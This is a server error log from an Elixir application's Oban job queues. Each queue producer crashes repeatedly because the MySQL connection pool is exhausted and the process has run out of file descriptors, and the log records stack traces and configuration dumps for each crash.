State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:57:23.240698Z], limit: 10, uuid: "137e9c2f-c7e6-4b84-bcff-f6ec0252c5a6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:23.240704Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.234218>, refresh_timer: #Reference<0.2525715032.1099431938.75639>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:35.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:57:23.240361Z], limit: 5, uuid: "f833f739-5173-4a3a-a476-cd11d380ff66", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:23.240368Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.234215>, refresh_timer: #Reference<0.2525715032.1121189889.234199>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:35.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1005ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:57:23.239701Z], limit: 3, uuid: "fe902795-eabe-43ec-9fc5-9a7c70e41226", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:23.239707Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.234217>, refresh_timer: #Reference<0.2525715032.1121189889.234193>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:35.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 898ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:57:23.240648Z], limit: 50, uuid: "0013d77e-e933-4c33-a22d-13bd8374971c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:23.240654Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.89364>, refresh_timer: #Reference<0.2525715032.1099431938.75638>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:35.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1016ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:57:23.241265Z], limit: 20, uuid: "1da664c5-d17f-454d-8779-cc89dfcb937a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:23.241270Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.89363>, refresh_timer: #Reference<0.2525715032.1068498948.89350>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:38.223000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:38.924000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:39.865000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:40.442000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:57:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 860ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:57:35.240640Z], limit: 20, uuid: "5ac7be82-0b79-486a-b088-22cd3afced9a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:35.240646Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.234632>, refresh_timer: #Reference<0.2525715032.1099431938.75742>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:46.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1059ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:57:35.239730Z], limit: 3, uuid: "96b436c2-f098-4d27-9ff8-58c028fae785", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:35.239736Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.234635>, refresh_timer: #Reference<0.2525715032.1077673987.62109>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 821ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:57:35.239324Z], limit: 5, uuid: "4ebf3aaa-7b50-452f-b0ac-68abab283186", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:35.239330Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.234633>, refresh_timer: #Reference<0.2525715032.1077673987.62085>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:46.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1034ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:57:35.239883Z], limit: 10, uuid: "3c848954-713c-4e1f-b7a4-7f8273fc3293", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:57:35.239888Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.234631>, refresh_timer: #Reference<0.2525715032.1121189889.234621>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:57:46.245000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 848ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
